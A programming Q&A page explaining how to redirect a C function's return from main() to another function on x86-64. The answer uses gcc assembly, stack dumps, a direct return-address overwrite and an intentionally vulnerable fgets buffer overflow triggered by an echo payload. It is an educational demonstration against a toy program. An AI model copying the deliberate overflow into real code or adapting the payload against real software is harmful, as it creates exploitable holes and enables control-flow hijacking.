缓冲区溢出，使用GDB的堆栈指针操作

Question

I have a simple problem in c which may be solved using GDB, but I am not able to solved it.

We have a main() function which calls another function, say A(). When function A() executes and returns, instead of returning to main() it goes to another function, say B().

I don't know what to do in A() so that return address will change.

Answer 1

Assuming, the OP wants to force a return from A() to B() instead of to main() from where A() was called before...

I always believed to know how this might happen but never tried by myself. So, I couldn't resist to fiddle a bit.

Manipulation of return can hardly be done portable as it exploits facts of the generated code which may depend on compiler version, compiler settings, platform, and whatever.

At first, I tried to find out some details about coliru which I planned to use for fiddling:

#include <stdio.h>

int main()
{
  printf("sizeof (void*): %d\n", sizeof (void*));
  printf("sizeof (void*) == sizeof (void(*)()): %s\n",
    sizeof (void*) == sizeof (void(*)()) ? "yes" : "no");
  return 0;
}

Output:

gcc (GCC) 8.2.0
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

sizeof (void*): 8
sizeof (void*) == sizeof (void(*)()): yes

Live Demo on coliru

Next, I made a minimal sample to get an impression about the code which will be generated:

Source code:

#include <stdio.h>

void B()
{
  puts("in B()");
}

void A()
{
  puts("in A()");
}

int main()
{
  puts("call A():");
  A();
  return 0;
}

Compiled with x86-64 gcc 8.2 and -O0 :

.LC0:
        .string "in B()"
B:
        push    rbp
        mov     rbp, rsp
        mov     edi, OFFSET FLAT:.LC0
        call    puts
        nop
        pop     rbp
        ret
.LC1:
        .string "in A()"
A:
        push    rbp
        mov     rbp, rsp
        mov     edi, OFFSET FLAT:.LC1
        call    puts
        nop
        pop     rbp
        ret
.LC2:
        .string "call A():"
main:
        push    rbp
        mov     rbp, rsp
        mov     edi, OFFSET FLAT:.LC2
        call    puts
        mov     eax, 0
        call    A
        mov     eax, 0
        pop     rbp
        ret

Live Explore on godbolt

On Intel x86/x64:

• call stores the return address on stack before jumping to the given address
• ret pops the return address from stack into PC reg. again.

(Other CPUs might do this differently.)

Additionally, the

        push    rbp
        mov     rbp, rsp

is interesting as push stores something on stack as well while rsp is the register with current stack top address and rbp its companion which is usually used for relative addressing of local variables.

So, a local variable (which is addressed relative to rbp – if not optimized) might have a fix offset to the return address on stack.

So, I added some code to the first sample to come in touch:

#include <stdio.h>

typedef unsigned char byte;

void B()
{
  puts("in B()"); 
}

void A()
{
  puts("in A()");
  char buffer[8] = { 0x00, 0xde, 0xad, 0xbe, 0xef, 0x4a, 0x11, 0x00 };
  byte *pI = (byte*)buffer;
  // dump some bytes from stack
  for (int i = 0; i < 64; ++i) {
    if (!(i % 8)) printf("%p: (+%2d)", pI + i, i);
    printf(" %02x", pI[i]);
    if (i % 8 == 7) putchar('\n');
  }
}

int main()
{
  printf("&main(): %p, &A(): %p, &B(): %p\n", (void*)&main, (void*)&A, (void*)&B);
  puts("call A():");
  A();
  return 0;
}

Output:

&main(): 0x400613, &A(): 0x400553, &B(): 0x400542
call A():
in A()
0x7ffcdedc9738: (+ 0) 00 de ad be ef 4a 11 00
0x7ffcdedc9740: (+ 8) 38 97 dc de fc 7f 00 00
0x7ffcdedc9748: (+16) 60 97 dc de 14 00 00 00
0x7ffcdedc9750: (+24) 60 97 dc de fc 7f 00 00
0x7ffcdedc9758: (+32) 49 06 40 00 00 00 00 00
0x7ffcdedc9760: (+40) 50 06 40 00 00 00 00 00
0x7ffcdedc9768: (+48) 30 48 4a f3 3e 7f 00 00
0x7ffcdedc9770: (+56) 00 00 00 00 00 00 00 00

Live Demo on coliru This is what I read from this:

0x7ffcdedc9738: (+ 0) 00 de ad be ef 4a 11 00 # local var. buffer
0x7ffcdedc9740: (+ 8) 38 97 dc de fc 7f 00 00 # local var. pI (with address of buffer)
0x7ffcdedc9748: (+16) 60 97 dc de 14 00 00 00 # local var. i (4 bytes)
0x7ffcdedc9750: (+24) 60 97 dc de fc 7f 00 00 # pushed rbp
0x7ffcdedc9758: (+32) 49 06 40 00 00 00 00 00 # 0x400649 <- Aha!

0x400649 is an address which is slightly higher than the address of main() ( 0x400613 ). Considering, that there was some code in main() prior the call of A() this makes perfectly sense.

So, if I want to manipulate the return address this has to happen at pI + 32 :

#include <stdio.h>
#include <stdlib.h>

typedef unsigned char byte;

void B()
{
  puts("in B()"); 
  exit(0);
}

void A()
{
  puts("in A()");
  char buffer[8] = { 0x00, 0xde, 0xad, 0xbe, 0xef, 0x4a, 0x11, 0x00 };
  byte *pI = (byte*)buffer;
  // dump some bytes from stack
  for (int i = 0; i < 64; ++i) {
    if (!(i % 8)) printf("%p: (+%2d)", pI + i, i);
    printf(" %02x", pI[i]);
    if (i % 8 == 7) putchar('\n');
  }
  printf("Possible candidate for ret address: %p\n", *(void**)(pI + 32));
  *(void**)(pI + 32) = (byte*)&B;
}

int main()
{
  printf("&main(): %p, &A(): %p, &B(): %p\n", (void*)&main, (void*)&A, (void*)&B);
  puts("call A():");
  A();
  return 0;
}

Ie I "patch" the address of function B() as the return address into the stack.

Output:

&main(): 0x400696, &A(): 0x4005aa, &B(): 0x400592
call A():
in A()
0x7fffe0eb0858: (+ 0) 00 de ad be ef 4a 11 00
0x7fffe0eb0860: (+ 8) 58 08 eb e0 ff 7f 00 00
0x7fffe0eb0868: (+16) 80 08 eb e0 14 00 00 00
0x7fffe0eb0870: (+24) 80 08 eb e0 ff 7f 00 00
0x7fffe0eb0878: (+32) cc 06 40 00 00 00 00 00
0x7fffe0eb0880: (+40) e0 06 40 00 00 00 00 00
0x7fffe0eb0888: (+48) 30 c8 41 84 42 7f 00 00
0x7fffe0eb0890: (+56) 00 00 00 00 00 00 00 00
Possible candidate for ret address: 0x4006cc
in B()

Live Demo on coliru

Et voilà: in B() .

Instead of assigning the address directly, the same could be achieved by storing a string with at least 40 char s into buffer (only 8 char s capacity):

#include <stdio.h>
#include <stdlib.h>

typedef unsigned char byte;

void B()
{
  puts("in B()"); 
  exit(0);
}

void A()
{
  puts("in A()");
  char buffer[8] = { 0x00, 0xde, 0xad, 0xbe, 0xef, 0x4a, 0x11, 0x00 };
  byte *pI = (byte*)buffer;
  // dump some bytes from stack
  for (int i = 0; i < 64; ++i) {
    if (!(i % 8)) printf("%p: (+%2d)", pI + i, i);
    printf(" %02x", pI[i]);
    if (i % 8 == 7) putchar('\n');
  }
  // provoke buffer overflow vulnerability
  printf("Input: "); fflush(stdout);
  fgets(buffer, 40, stdin); // <- intentionally wrong use
  // show result
  putchar('\n');
}

int main()
{
  printf("&main(): %p, &A(): %p, &B(): %p\n", (void*)&main, (void*)&A, (void*)&B);
  puts("call A():");
  A();
  return 0;
}

Compiled and executed with:

$ gcc -std=c11 -O0 main.c
$ echo -e "                                \xa2\x06\x40\0\0\0\0\0" | ./a.out

To input the exact sequence of bytes by keyboard might be a bit difficult. Copy/paste might work. I used echo and redirection to keep things simple.

Output:

&main(): 0x4007ba, &A(): 0x4006ba, &B(): 0x4006a2
call A():
in A()
0x7ffd1700bac8: (+ 0) 00 de ad be ef 4a 11 00
0x7ffd1700bad0: (+ 8) c8 ba 00 17 fd 7f 00 00
0x7ffd1700bad8: (+16) f0 ba 00 17 14 00 00 00
0x7ffd1700bae0: (+24) f0 ba 00 17 fd 7f 00 00
0x7ffd1700bae8: (+32) f0 07 40 00 00 00 00 00
0x7ffd1700baf0: (+40) 00 08 40 00 00 00 00 00
0x7ffd1700baf8: (+48) 30 48 37 0f 5b 7f 00 00
0x7ffd1700bb00: (+56) 00 00 00 00 00 00 00 00
Input: 
in B()

Live Demo on coliru

Please, note that the input of 32 spaces (to align the return address "\\xa2\\x06\\x40\\0\\0\\0\\0\\0" to the intended offset) "destroys" all the internals of A() which are stored in this range. This might have fatal consequences for the stability of the process but, eventually, it's intact enough to reach B() and report that to console.